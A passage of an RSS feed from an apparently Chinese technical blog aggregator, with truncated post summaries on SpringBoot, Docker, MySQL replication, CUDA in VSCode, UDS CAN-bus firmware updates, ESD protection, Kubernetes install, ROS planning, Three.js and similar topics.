      <description>栈内存溢出问题 我在使用SpringBoot框架进行web开发时遇见了这个问题，出现这个问题的原因是由于深度递归，抛出此错误以指示应用程序的堆栈已耗尽。&#xA;在递归中，一个方法在执行期间调用自己。递归被认为是一种强大的通用编程技术，但必须谨慎使用，StackOverflowError以避免这种情况。&#xA;解决的方法是检查service的实现类里面是否调用了这个类中的方法，例如，下面是我的代码，我在service里面声明了一个toListIds()的方法，然后在这个service类的另一个方法里面调用了这个方法造成了栈内存溢出，应该修改成下面的样式&#xA;@Override public List&amp;lt;Tag&amp;gt; findTagById(String ids) { return tagRepository.findAllById(toListIds(ids)); } public List&amp;lt;Long&amp;gt; toListIds(String ids){ List&amp;lt;Long&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); if(!&#34;&#34;.equals(ids) &amp;amp;&amp;amp; ids != null){ String[] arr = ids.split(&#34;,&#34;); for(String a : arr){ list.add(new Long(a)); } } return list; } @Override public List&amp;lt;Tag&amp;gt; findTagById(String ids) { List&amp;lt;Long&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); if(!&#34;&#34;.equals(ids) &amp;amp;&amp;amp; ids != null){ String[] arr = ids.split(&#34;,&#34;); for(String a : arr){ list.add(new Long(a)); } } return tagRepository.</description>
    </item>
    <item>
      <title>解决报错 Docker无法启动</title>
      <link>https://bchobby.github.io/posts/fe6616f63fd6728ae4021641930b2d09/</link>
      <pubDate>Wed, 29 Jul 2020 16:39:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe6616f63fd6728ae4021641930b2d09/</guid>
      <description>启动docker服务&#xA;systemctl start docker.service 错误信息&#xA;Job for docker.service failed because the control process exited with error code. See “systemctl status docker.service” and “journalctl -xe” for details.&#xA;提示执行systemctl status docker.service and journalctl -xe&#xA;对我来说，看了和没看差不多，没有有用信息，需要查找详细日志才能得出结论。&#xA;这里我们不去找日志，让错误简单的输出到终端。&#xA;vim /usr/lib/systemd/system/docker.service 找到ExecStart=/usr/bin/dockerd这一行&#xA;复制下来，如果有参数也带上参数，去终端命令行执行，这样会直观的看到运行和错误信息.(不太unix socket 参数)&#xA;我的错误是stored UUID 和 Current Base UUID 不一致导致的，&#xA;stored UUID 存储在&#xA;/var/lib/docker/devicemapper/metadata/deviceset-metadata 替换成Current Base Device UUID即可。&#xA;每个人的错误不一样，知道错误，搜索解决方案就可以了。</description>
    </item>
    <item>
      <title>Linux搭建主主后没有同步数据，报Slave I/O for channel ‘‘错误</title>
      <link>https://bchobby.github.io/posts/8a45ad85a031b4083e66dd68a032829b/</link>
      <pubDate>Wed, 29 Jul 2020 15:42:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a45ad85a031b4083e66dd68a032829b/</guid>
      <description> 数据没有同步之后，查看日志看到错误（为了好看换行了） Slave I/O for channel &#39;&#39;: error connecting to master &#39;repl@192.168.0.104:3306&#39; - retry- time: 60 retries: 24 message: Authentication plugin &#39;caching_sha2_password&#39; reported error: Authentication requires secure connection. Error_code: MY-002061 查看错误大概意思就是连不上&#xA;repl是搭建主主的同步账号名，&#xA;在被同步的主机上用repl登录一下MySQL就行了&#xA;我的报错连不上192.168.0.104，在192.168.0.104服务器上登录&#xA;mysql -u repl -p 密码 </description>
    </item>
    <item>
      <title>Windows下 VSCode配置cuda编译环境</title>
      <link>https://bchobby.github.io/posts/340a7192cfebf4d51f4752d239558928/</link>
      <pubDate>Wed, 29 Jul 2020 11:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/340a7192cfebf4d51f4752d239558928/</guid>
      <description>Windows系统下，在Visual Studio 里配置CUDA环境网上已经有很多资料了，而在轻量级IDE VScode上编译CUDA的材料不是很多，本篇博文将简要介绍在Windows 系统下配置CUDA环境的方法。&#xA;一、VScode插件 code-runner法&#xA;在VScode里安装插件——coder-runner，在settings.json里添加（win10下的）&#xA;&#34;code-runner.executorMap&#34;: { &#34;cu&#34;: &#34;cd $dir; nvcc $fileName -o $fileNameWithoutExt.exe -I&#39;C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v9.0\\include&#39; &amp;amp;&amp;amp; $dir$fileNameWithoutExt&#34; }, // 右键 win7下的(注意win7 和win 10 下的不太一样，之前的博文里有提到过) &#34;code-runner.executorMap&#34;: { &#34;cu&#34;: &#34;cd $dir &amp;amp;&amp;amp; nvcc $fileName -o $fileNameWithoutExt.exe -I&#39;C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v9.0\\include&#39; &amp;amp;&amp;amp; $dir$fileNameWithoutExt&#34; }, // 右键 注意：这里的settings.json 是当前工作目录 .vscode 目录下（没有自己创建，自己写也可以）的设置文件，是局部的，如果需要全局通用的话，则转到全局settings.json 文件里修改。&#xA;上面的命令里比较关键的地方在于 nvcc——指定编译器（这里直接使用是因为已经在系统环境变量里添加了nvcc的地址了，否则这里需要把nvcc所在的路径写全），其次 -I （大写的i）为指定include文件路径，用 &#39; 而不是 &#34; 是因为语句已经被 &#34; &#34;包含了。此外如果还需要使用链接库的话，还需要加 -l 和 -L 来分别指定需要的库名称，和库所在的位置。具体参考博文：https://www.</description>
    </item>
    <item>
      <title>uds协议之can总线程序升级</title>
      <link>https://bchobby.github.io/posts/aeaa120cf5c2cf03a6ad42eec38d20e7/</link>
      <pubDate>Wed, 29 Jul 2020 01:16:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aeaa120cf5c2cf03a6ad42eec38d20e7/</guid>
      <description>1.什么是UDS协议&#xA;UDS（Unified Diagnostic Services，统一的诊断服务）协议是在汽车电子ECU环境下的一种通用诊断协议，属于应用层的协议。可在不同的汽车总线上实现(如CAN、LIN、Flexray和Internet等)，但目前大部分汽车厂商都是基于can总线的uds应用。&#xA;更详细的介绍可参考：&#xA;https://blog.csdn.net/u012252959/article/details/83063899 https://zhuanlan.zhihu.com/p/72543808&#xA;2.如何通过UDS协议进行程序升级&#xA;UDS协议其本质其实就是一种请求-响应（Request/Response）的交互协议，主要是对candata部分内容进行了统一定义，ECU会根据收到的不同请求内容，执行不同的操作或响应不同的数据。而这个“不同的请求内容”实际上就是我们所说的诊断服务ID及其附带的一些参数。UDS的服务ID种类大致可分为如下几类：&#xA;而我们进行程序升级要用到的服务ID毫无疑问就是0x34、0x36、0x37这三个服务了。&#xA;0x34请求下载服务参考：https://zhuanlan.zhihu.com/p/107889509&#xA;0x36数据传输服务参考：https://zhuanlan.zhihu.com/p/108100282&#xA;0x37请求退出传输服务参考:https://zhuanlan.zhihu.com/p/108124762&#xA;整个数据上传、下载流程参考：https://blog.csdn.net/u012252959/article/details/83077069&#xA;除此之外，还需用到0x10会话控制服务，用于切换会话模式。（不同的会话模式、对服务的响应权限不一样，比如必须在编程模式下，ECU才能响应上传下载功能单元的服务）&#xA;下图为会话模式的种类：&#xA;0x10会话控制服务参考：https://zhuanlan.zhihu.com/p/84609132 除会话控制外，0x27安全访问服务也有用到。一般情况下，需要通过安全服务的认证，ECU才允许进行数据下载操作。&#xA;安全服务认证方式首先由客户端向ECU发送请求，获取随机码（种子），客户端收到随机码后，按照双方约定好的算法进行计算得到秘钥值，客户端再将这个值发送给ECU，进行安全认证（如果算法相同，则计算出的结果相同，ECU回复肯定响应）。&#xA;具体可参考：https://zhuanlan.zhihu.com/p/88651234&#xA;此外，0x31例行控制服务也是必须的。比如：升级前需要通过该服务确认ECU的可编程性，每次进行程序块下载前需要调用该服务进行程序擦除操作，下载完成后需要通过该服务检查程序的完整性，检测是否可以正常运行。（具体的routineIdentifier及其含义一般由车厂执行定义）&#xA;详细可参考: https://blog.csdn.net/weixin_44536482/article/details/94866212&#xA;3.升级流程&#xA;升级流程可参考：&#xA;4.升级数据CAN报文分析与UDS协议学习&#xA;0x10会话控制：&#xA;其中，0x791为客户端发送至ECU的的CANID，0x799为ECU响应客户端的CANID，一般由汽车厂商自行定义。0x7DF为uds定义的功能地址，用于一对多发送诊断服务请求。&#xA;数据请求中，02代表长度，10 代表0x10服务ID，01和03分别代表要切换的会话模式。 0x27安全访问:&#xA;0x31例行控制：&#xA;该数据包为多帧格式，其中10中的高位1表示该帧数据为连续帧，低位0和第二个字节(0x00D)为该包连续帧数据的长度。31为服务ID，01位启动指令，之后的数据含义由汽车厂商执行定义（如此处 FF 00 表示擦除程序， 44 高位表示擦除首地址长度为4bytes，擦除数据长度为4byte，其后1byte 00 及 连续帧 F9 80 08 为擦除地址， 00 00 00 58为擦除长度）&#xA;其中21中的高位2表示该帧为连续帧，低位1为连续帧的序列，范围从1增至F后归零，依次反复。&#xA;其中30表示该帧为流控帧，用于告知发送方是否可以继续传输消息、接收方一次能接收的数据最大量以及两个连续帧之间的最小时间间隔。&#xA;0x34/0x36/0x37 数据下载：&#xA;如上图所示，红色表示写入的数据内容。5A表示连续帧数据长度(包含数据内容长度0x58+两个字节(36 01)，其中36为服务ID，01为块序列号，每发送一段数据块后自增，增至FF后归零)&#xA;上述Execl记录的完整UDS升级抓包数据下载：https://download.csdn.net/download/fangye945a/19322702</description>
    </item>
    <item>
      <title>EMC | 静电防护方法</title>
      <link>https://bchobby.github.io/posts/e8c41ddf166a7f4ea8e8ac9b7a2a3cf3/</link>
      <pubDate>Tue, 28 Jul 2020 21:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8c41ddf166a7f4ea8e8ac9b7a2a3cf3/</guid>
      <description>1、并联放电器件&#xA;常用的放电器件有TVS，齐纳二极管，压敏电阻，气体放电管等。如图&#xA;1.1、齐纳二极管（ Zener Diodes ，也称稳压二极管 ） ：利用齐纳二极管的反向击穿特性可以保护 ESD敏感器件。但是齐纳二极管通常有几十 pF 的电容，这对于高速信号（例如 500MHz）而言，会引起信号畸变。齐纳二极管对电源上的浪涌也有很好的吸收作用。&#xA;1.2、瞬变电压消除器 TVS(Transient Voltage Suppressor)：TVS 是一种固态二极管，专门用于防止 ESD 瞬态电压破坏敏感的半导体器件。与传统的齐纳二极管相比， TVS 二极管 P/N 结面积更大，这一结构上的改进使 TVS 具有更强的高压承受能力，同时也降低了电压截止率，因而对于保护手持设备低工作电压回路的安全具有更好效果。&#xA;TVS二极管的瞬态功率和瞬态电流性能与结的面积成正比。该二极管的结具有较大的截面积，可以处理闪电和 ESD所引起的高瞬态电流。TVS也会有结电容，通常0.3个pF到几十个pF。TVS有单极性的和双极性的，使用时要注意。手机上用的TVS大约0.01$，低容值的约2-3分$。&#xA;1.3、多层金属氧化物结构器件 (MLV)：大陆一般称为压敏电阻。MLV也可以进行有效的瞬时高压冲击抑制，此类器件具有非线性电压 - 电流 ( 阻抗表现 ) 关系，截止电压可达最初中止电压的 2 ～ 3倍。这种特性适合用于对电压不太敏感的线路和器件的静电或浪涌保护，如电源回路，按键输入端等。手机用压敏电阻约0.0015$,大约是TVS价格的1/6，但是防护效果没有TVS好，且压敏电阻有寿命老化。&#xA;2、串联阻抗&#xA;一般可以通过串联电阻或者磁珠来限制ESD放电电流，达到防静电的目的。如图。如手机的高输入阻抗的端口可以串1K欧电阻来防护，如ADC，输入的GPIO，按键等。不要担心0402的电阻会被打坏，实践证明是打不坏的。这里不详细分析。用电阻做ESD防护几乎不增加成本。如果用磁珠，磁珠的价格大 约0.002$,和压敏电阻差不多。&#xA;3、增加滤波网络&#xA;前面提到了静电的能量频谱，如果用滤波器滤掉主要的能量也能达到静电防护的目的。&#xA;对于低频信号，如GPIO输入，ADC，音频输入可以用1k+1000PF的电容来做静电防护，成本可以忽略，性能不比压敏电阻差，如果用1K+50PF的压敏电阻（下面讲的复合防护措施），效果更好，经验证明这样防护效果有时超过TVS。&#xA;对于射频天线的微波信号，如果用TVS管，压敏等容性器件来做静电防护，射频信号会被衰减，因此要求TVS的电容很低，这样增加ESD措施的成本。对于微波信号可以对地并联一个几十nH的电感来为静电提供一个放电通道，对微波信号几乎没有影响，对于900MHZ和1800MHz的手机经常用22nH的电感。这样能把静电主要能量频谱上的能量吸收掉很多。&#xA;4、复合防护&#xA;有一种器件叫EMI filter，他有很好的ESD防护效果，如图。EMI filter也有基于TVS管的和基于压敏电阻的，前者效果好，但很贵，后者廉价，一般4路基于压敏电阻的EMI价格在0.02$。&#xA;实际应用中可以用下面的一个电阻+一个压敏电阻的方式。他既有低通滤波器的功能，又有压敏电阻的功能，还有电阻串联限流的功能。是性价比最好的防护方式，对于高阻信号可以采用1K电阻+50PF压敏；对于耳机等音频输出信号可以采用100欧电阻+压敏电阻；对于TP信号串联电阻不能太大否则影响TP的线性，可以采用10欧电阻。虽然电阻小了，低通滤波器效果已经没有了，但限流作用还是很重要的。&#xA;5、增加吸收回路&#xA;可以在敏感信号附件增加地的漏铜，来吸收静电。道理和避雷针原理一样。在信号线上放置尖端放电点（火花隙）在山寨手机设计中也经常应用。&#xA;本文来自网络，如有侵权联系删除</description>
    </item>
    <item>
      <title>安装k8s 抛出异常提示Unable to locate package kubectl</title>
      <link>https://bchobby.github.io/posts/4cb242e47fdfae8ef743c81503352911/</link>
      <pubDate>Tue, 28 Jul 2020 18:39:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cb242e47fdfae8ef743c81503352911/</guid>
      <description>在ubuntu上安装k8s ，当执行命令&#xA;apt-get install -y kubelet kubeadm kubectl&#xA;抛出如下异常提示&#xA;然后参照官方文档去操作，执行命令&#xA;echo “deb https://apt.kubernetes.io/ kubernetes-xenial main” | sudo tee /etc/apt/sources.list.d/kubernetes.list&#xA;在执行命令&#xA;sudo apt-get update&#xA;又出现了异常提示&#xA;这个是因为官方镜像地址需要能访问国外网的，没有翻墙，国内是连接不上的&#xA;改为国内的镜像地址&#xA;echo “deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main” | sudo tee /etc/apt/sources.list.d/kubernetes.list&#xA;在执行命令&#xA;sudo apt-get update&#xA;这样就能解决这个加载的问题&#xA;E: Unable to locate package kubelet&#xA;E: Unable to locate package kubeadm&#xA;E: Unable to locate package kubectl</description>
    </item>
    <item>
      <title>Dubbo基础使用</title>
      <link>https://bchobby.github.io/posts/36e02520a0056522661689d50b71e543/</link>
      <pubDate>Tue, 28 Jul 2020 17:10:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36e02520a0056522661689d50b71e543/</guid>
      <description>Dubbo基础使用 Dubbo服务的角色关系Dubbo的基础配置使用xml 配置方式服务端代码示例客户端代码示例 注解方式 Dubbo高级特性启动时检查Dubbo 超时重连集群容错负载均衡配置结果缓存 服务分组多版本只订阅/只注册异步调用事件通知 服务拆分最佳实现 在上面的章节，我们重点详述了，一个具体的 RPC 调用的全过程。那么在现&#xA;实工作中，服务节点间的 RPC 调用是非常普遍并且错踪复杂的&#xA;我们除了要关心 RPC 的过程实现，还需要考虑:&#xA;服务方是集群时，如何挑选一台机器来响应客户端?因网络抖动引起的调用失败，如何重试来弥补?服务方机器的动态增减，如何能够让客户端及时了解到并做出调整? … Dubbo 的使命，即是解决上述围绕 RPC 过程的问题&#xA;Dubbo服务的角色关系 节点角色说明:&#xA;调用关系说明:&#xA;服务容器负责启动，加载，运行服务提供者。服务提供者在启动时，向注册中心注册自己提供的服务。服务消费者在启动时，向注册中心订阅自己所需的服务。注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将 基于长连接推送变更数据给消费者。服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供 者进行调用，如果调用失败，再选另一台调用。服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟 发送一次统计数据到监控中心。 Dubbo的基础配置使用 xml 配置方式 &amp;lt;dubbo:service/&amp;gt; 服务配置，用于暴露一个服务，定义服务的元信息，一个服务可以用多个协议暴露，一个服务也可 以注册到多个注册中心。&#xA;&amp;lt;dubbo:reference/&amp;gt; 引用配置，用于创建一个远程服务代理，一个引用可以指向多个注册中心。&#xA;&amp;lt;dubbo:protocol/&amp;gt; 协议配置，用于配置提供服务的协议信息，协议由提供方指定，消费方被动接受。&#xA;&amp;lt;dubbo:application/&amp;gt; 应用配置，用于配置当前应用信息，不管该应用是提供者还是消费者。&#xA;&amp;lt;dubbo:registry/&amp;gt; 注册中心配置，用于配置连接注册中心相关信息。 dubbo:module/ 模块配置，用于配置当前模块信息，可选。&#xA;&amp;lt;dubbo:monitor/&amp;gt; 监控中心配置，用于配置连接监控中心相关信息，可选。&#xA;&amp;lt;dubbo:provider/&amp;gt; 提供方的缺省值，当 ProtocolConfig 和 ServiceConfig 某属性没有配置时，采用此缺省值，可选。&#xA;&amp;lt;dubbo:consumer/&amp;gt; 消费方缺省配置，当 ReferenceConfig 某属性没有配置时，采用此缺省值，可选。&#xA;&amp;lt;dubbo:method/&amp;gt; 方法配置，用于 ServiceConfig 和 ReferenceConfig 指定方法级的配置信息。&#xA;&amp;lt;dubbo:argument/&amp;gt; 用于指定方法参数配置。&#xA;引入pom依赖&#xA;&amp;lt;!--zk --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>open和with open的用法，你弄明白了吗?</title>
      <link>https://bchobby.github.io/posts/74210c87044541b2afb75ab17a240a0b/</link>
      <pubDate>Tue, 28 Jul 2020 15:59:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74210c87044541b2afb75ab17a240a0b/</guid>
      <description> open 打开文件 file=open(“文件名”，“读写模式”）&#xA;操作文件 代码段&#xA;关闭文件 file.close()&#xA;注意事项：使用open方法，文件操作完毕之后必须手动关闭，否则长期保持对文件的连接状态，造成内存溢出的现象发生。 with open 打开文件 with open (“文件名”，“读写模式”) as file:&#xA;操作文件 代码段&#xA;关闭文件(自动关闭) 注意事项：是自动关闭文件 如果对软件测试、接口测试、自动化测试、持续集成、面试经验。感兴趣可以进到893694563，群内会有不定期的分享测试资料。还会有技术大牛，业内同行一起交流技术 </description>
    </item>
    <item>
      <title>C语言中Static关键字的作用</title>
      <link>https://bchobby.github.io/posts/aae2176d67b148ca63f5207ede44b848/</link>
      <pubDate>Tue, 28 Jul 2020 14:54:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aae2176d67b148ca63f5207ede44b848/</guid>
      <description> Static关键字 1. 修饰局部变量&#xA;**作用：**延长局部变量的生命周期&#xA;一般的局部变量在定义后，会在其所在的函数结束时自动释放空间，而static修饰的局部变量会将其生命周期延长到整个程序运行结束，然后再释放。&#xA;2. 修饰全局变量&#xA;**作用：**该全局变量只能在，其定义的文件内被调用，不能被其他文件调用&#xA;static定义的全局变量在静态区/(全局区)分配内存，定义全局变量时用static修饰可以保证数据的安全性。 3. 修饰函数&#xA;**作用：**被修饰函数的作用域被限定在当前源文件，其他文件不能访问该函数。&#xA;***以上为本人拙见，欢迎指正，如有侵权立删。*** </description>
    </item>
    <item>
      <title>SLAM组合拳之四—如何在ROS中使用路径规划（一）</title>
      <link>https://bchobby.github.io/posts/b5f78e74ca67a0bc421cbafbdbb5021f/</link>
      <pubDate>Tue, 28 Jul 2020 14:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5f78e74ca67a0bc421cbafbdbb5021f/</guid>
      <description>RViz可视化 显示Costmap代价地图&#xA;点击左下角的add，选择Map类型&#xA;topic选择/move_base/global_costmap/costmap，即为全局代价地图&#xA;topic选择/move_base/local_costmap/costmap，即为局部代价地图 显示Plans规划结果&#xA;点击左下角的add，选择Path类型&#xA;topic选择/move_base/NavfnROS/plan，即为全局规划结果&#xA;topic选择/move_base/TrajectoryPlannerROS/local_plan，即为局部规划结果&#xA;2D工具&#xA;2D Pose Estimate可以提供初始位姿&#xA;2D Nav Goal可以提供导航目标点&#xA;这里两个工具在RViz的工具栏里，如果没有可以点击工具栏右侧的加号将其显示出来，并且此时Global Options中的Fixed Frame必须为map不然工具无法生效。&#xA;move_base节点 它的功能主要是把机器人从当前位置移动到目标位置。其本质上是一个SimpleActionServer的实现，即所谓的action（ROS三大通讯方式之一）的服务器，它使用geometry_msgs/PoseStamped格式的消息，因此我们可以使用SimpleActionClient向move_base发送目标点。&#xA;同时move_base提供了一个话题move_base/goal作为导航堆栈的输入，我们可以简单地将目标点发布至这个话题即可触发整个move_base的工作链。&#xA;查看topic列表会发现，move_base和其他action一样也提供了五个话题用于获取过程数据以及发送取消目标和获取结果。&#xA;move_base/goal (move_base_msgs/MoveBaseActionGoal)&#xA;move_base/cancel (actionlib_msgs/GoalID)&#xA;move_base/feedback (move_base_msgs/MoveBaseActionFeedback)&#xA;move_base/status (actionlib_msgs/GoalStatusArray)&#xA;move_base/result (move_base_msgs/MoveBaseActionResult)&#xA;使用RViz的2D Nav Goal工具发布一个目标位姿，其本质就是向move_base/goal主题发布了一条消息，下面我们监听move_base的这几个话题来看看在发布一个目标后发生了什么。&#xA;使用这种方式进行导航时，机器人会在规划生成后开始运动，如果你只是想查看规划结果又不想移动机器人，那么可以使用move_base提供的/make_plan这个服务接口，它可以只生成规划但不移动机器人。&#xA;现在我们知道，当move_base收到一个目标姿势, 它会链接到 global planner（全局规划器）, local planner（局部规划器）, recovery behaviors（恢复行为）以及costmaps（代价地图）等组件,并 生成一个消息类型为 geometry_msgs/Twist的速度命令输出 , 将其发送到 /cmd_vel 主题来移动机器人。&#xA;全局规划器 全局规划器就是在运动之前，根据接收到的目标位姿基于global_costmap提供的全局地图调用对应的路径规划算法生成一条从当前位置到目标位置的路径，这里的global_costmap就是根据之前加载的map.pgm数据而生成的，也就是说它在规划的过程中并未获取当前传感器的数据，这和局部规划器是有区别的，后面会讲到。&#xA;我们可以用第一节中使用的现实世界中导航的例子来说，这个全局规划器就相当于根据预先采集的地图数据，计算一条从当前位置到目标位置的可行（或最优）路径，但它不会考虑路况，也不会帮你避开拥堵路段，因为它的数据来源只有地图，并没有实时路况数据。&#xA;当前ROS中提供了三个全局规划器的插件：navfn，carrot_planner以及global_planner。其中navfn是最常见的也是默认的全局规划器，使用的是Dijkstra&#39;s算法来计算初始位置和目标位置之间的最短路径。carrot_planner的适用性不强，一般在某些特定的场景较为有效（比如让机器人移动到离障碍物尽可能近的场景）。global_planner可以说是navfn的升级版本，虽然navfn内置有Dijkstra&#39;s和A*的两种算法的实现，但是在早期版本中A*算法的实现有些bug未修复，故认为navfn使用的是Dijkstra&#39;s算法，而在之后版本的升级中为了兼容老版本，所以保留了navfn但也推出了global_planner，global_planner既提供了Dijkstra&#39;s和A*算法的实现，还支持自定义的全局规划器插件，可以说比navfn更为灵活。&#xA;这里选择global_planner做为全局规划器，对于global_planner的具体参数，这里创建一个global_planner_params.yaml文件，用于管理相关参数，完整参数介绍可参见：http://wiki.ros.org/global_planner&#xA;GlobalPlanner:&#xA;allow_unknown: false #默认true，是否允许路径穿过未知区域&#xA;default_tolerance: 0.2 #默认0.0，目标容差&#xA;visualize_potential: false #默认false，是否显示从PointCloud2计算得到的势区域&#xA;use_dijkstra: true #默认true，true表示使用dijkstra&#39;s否则使用A*</description>
    </item>
    <item>
      <title>力扣解题思路：并查集</title>
      <link>https://bchobby.github.io/posts/a9102039a0e6a7d0525ca58862c00653/</link>
      <pubDate>Tue, 28 Jul 2020 12:38:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9102039a0e6a7d0525ca58862c00653/</guid>
      <description>684. 冗余连接 思路：有一系列的边连成的图，找出一条边，移除它之后该图能够成为一棵树。 Input: [[1,2], [1,3], [2,3]] Output: [2,3] Explanation: The given undirected graph will be like this: 1 / \ 2 - 3 如果移除一条边可以成为一棵树那就意味着这个图存在环路，那么移除这个环的任意边即可（题目要求是最后一条边），所以我们可以使用并查集来记录每个节点的最前前驱节点，也就是父节点，如果两个节点的父节点相同，证明这两个节点是相连的，如果这两个节点不相连，我们可以将其父节点改成相同来使这两个节点连同。现在我们来定义并查集的数据结构：&#xA;class DSU{ int[] parent; public DSU(int N){ parent = new int[N+1]; for(int i=0;i&amp;lt;N;i++){ parent[i] = i; } } public int find(int x){ if(parent[x] != x) parent[x] = find(parent[x]); return parent[x]; } public void union(int x,int y){ parent[find(x)] = find(y); } } 然后创建一个DSU对象进行上述操作，在本题中，我们只要遇到两个不相连的节点，如果遍历到他们的边，则将其联通，如果本身就联通又遍历到他们的边，那证明存在环，移除即可。&#xA;public int[] findRedundantConnection(int[][] edges) { int N = edges.</description>
    </item>
    <item>
      <title>Centos升级内核，添加fake numa node 配置</title>
      <link>https://bchobby.github.io/posts/e1cc793e7605ae73e0146ae471d87ada/</link>
      <pubDate>Tue, 28 Jul 2020 11:16:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1cc793e7605ae73e0146ae471d87ada/</guid>
      <description>Centos 升级内核 升级Centos内核版本，同时添加fake numa node 配置&#xA;1. 下载内核源码 由于，光从官网上上找不到对应的历史版本，可以参考博客 https://blog.csdn.net/a20132848/article/details/90754387 进行下载。&#xA;如下载5.4&#xA;wget http://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.4.tar.xz 2. build内核 参考博客 https://blog.51cto.com/191226139/2059117&#xA;https://www.linuxidc.com/Linux/2017-11/148276.htm&#xA;2.1. 解压并清理 官网要求将源码放到 /usr/src下面，其实放到哪里都可以。&#xA;# 解压内核 tar -Jxvf linux-5.4.tar.xz mv linux-5.4 /usr/src/kernels # 清理内核 cd /usr/srckernels/linux-5.4 make mrproper &amp;amp;&amp;amp; make clean 2.2. 生成编译配置表 kernel在编译时需要一个配置文件（.config)，用于描述开启哪些特性等，&#xA;我们采用 make menuconfig方式来获取配置文件。运行命令时，会看到报缺少对应库的错误，直接安装重新运行就行。&#xA;# 安装缺少的库 yum install -y ncurses-devel flex bison # 运行配置，默认就可以 make menuconfig 然后，根据需要修改配置文件(.config)&#xA;如，我们的目标一，开启虚拟numa支持，&#xA;numa配置如下：参考 http://linux-hacks.blogspot.com/2009/07/fake-numa-nodes-in-linux.html&#xA;# 打开配置选项 CONFIG_NUMA = y，CONFIG_NUMA_EMULATION = y numa=fake=2 2.</description>
    </item>
    <item>
      <title>查看ubuntu系统版本，及判断是否为UbuntuKylin（优麒麟）版本</title>
      <link>https://bchobby.github.io/posts/fc0d1eb1752269bd07a2414513bff462/</link>
      <pubDate>Tue, 28 Jul 2020 10:49:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc0d1eb1752269bd07a2414513bff462/</guid>
      <description>查看ubuntu系统版本的命令通常有&#xA;查看内核版本信息&#xA;uname -a 查看ubunutu版本号，如14.04，16.04&#xA;lsb_release -a 但是具体到判断是否为UbuntuKylin（优麒麟）版本的时候，上面两种方法就失效了。&#xA;不过可以通过下面两个命令判断&#xA;gedit /etc/apt/sources.list 或者 vim /etc/apt/sources.list 有图形界面的建议使用gedit，没有的话建议使用vim或者vi命令查看 /etc/apt/sources.list 这个文件。&#xA;打开sources.list 文件以后，只要看第一行就行。&#xA;如下图所示&#xA;这是常见的ubuntu版本。&#xA;这是汉化的ubuntuKylin(优麒麟)，汉化版的ubuntu系统。</description>
    </item>
    <item>
      <title>VS安装后如何添加工作负载</title>
      <link>https://bchobby.github.io/posts/9b5b21c1cca5076f95ceb8433795bf2c/</link>
      <pubDate>Mon, 27 Jul 2020 20:12:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b5b21c1cca5076f95ceb8433795bf2c/</guid>
      <description>RT 安装vs时，前期用不到的工作负载没有下载。后期需要时，总是忘记如何安装工作负载。&#xA;记录一下，防止忘记。&#xA;工具 ——&amp;gt; 获取工具和功能</description>
    </item>
    <item>
      <title>DL细节-激活函数的‘华点’</title>
      <link>https://bchobby.github.io/posts/6ea4a5758e18697e2285c99cc369e83e/</link>
      <pubDate>Mon, 27 Jul 2020 16:53:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ea4a5758e18697e2285c99cc369e83e/</guid>
      <description>激活函数123 Sigmoid1. 公式2. 导数导数推导导数分析 3. sigmoid性质带来的问题饱和区Saturation problem： non zero-centered优化方向 Gradient Vanishing tanh1. 公式2. 导数导数推导导数分析 3. 优点与问题Saturation ProblemGradient Vanishingzero-centered relu1. 公式2. 导数3.优势No Gradient VanishingRepresentational Sparsity 3. 问题dying ReLu problem原因Solution Reference 写这篇文章的起因是我被问了一个问题： ”Sigmoid和tanh的不同是什么？“ Sigmoid 1. 公式 S i g m o i d ( x ) = e x 1 + e x = 1 1 + e − x \begin{aligned} Sigmoid(x)&amp;amp;=\frac{e^x}{1+e^x} \\ &amp;amp;=\frac{1}{1+e^{-x}} \end{aligned} Sigmoid(x)​=1+exex​=1+e−x1​​&#xA;值域为 ( 0 , 1 ) (0,1) (0,1)非对称 S i g m o i d ( 0 ) = 0.</description>
    </item>
    <item>
      <title>[Threejs]环境光与HDR贴图</title>
      <link>https://bchobby.github.io/posts/facebc1bc8c5a610a4949291e1eff988/</link>
      <pubDate>Mon, 27 Jul 2020 15:25:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/facebc1bc8c5a610a4949291e1eff988/</guid>
      <description>本文主要记录了一次通过结合环境光与HDR贴图来实现3D场景的渲染。(Threejs版本 r0.118.0)&#xA;依赖包的导入 import { Scene, PerspectiveCamera, Color, WebGLRenderer, LinearToneMapping, AmbientLight, Vector3, Group, PMREMGenerator, UnsignedByteType, HemisphereLight, } from &#39;three&#39;; import { OrbitControls } from &#39;three/examples/jsm/controls/OrbitControls&#39;; // 控制器 import { GLTFLoader, GLTF } from &#39;three/examples/jsm/loaders/GLTFLoader&#39;; // gltf文件加载 import { RGBELoader } from &#39;three/examples/jsm/loaders/RGBELoader&#39;; 添加环境光 // this.scene = ... this.scene.add(new AmbientLight(0xffffff, 1)); const hemiLight = new HemisphereLight(0xffffff, 0x000000, 1); hemiLight.position.set(0, 100, 0); this.scene.add(hemiLight); 设置WebGLRenderer // this.threeContainer = document.getElementById( // &#39;xxxx&#39; // ) as HTMLElement; this.</description>
    </item>
    <item>
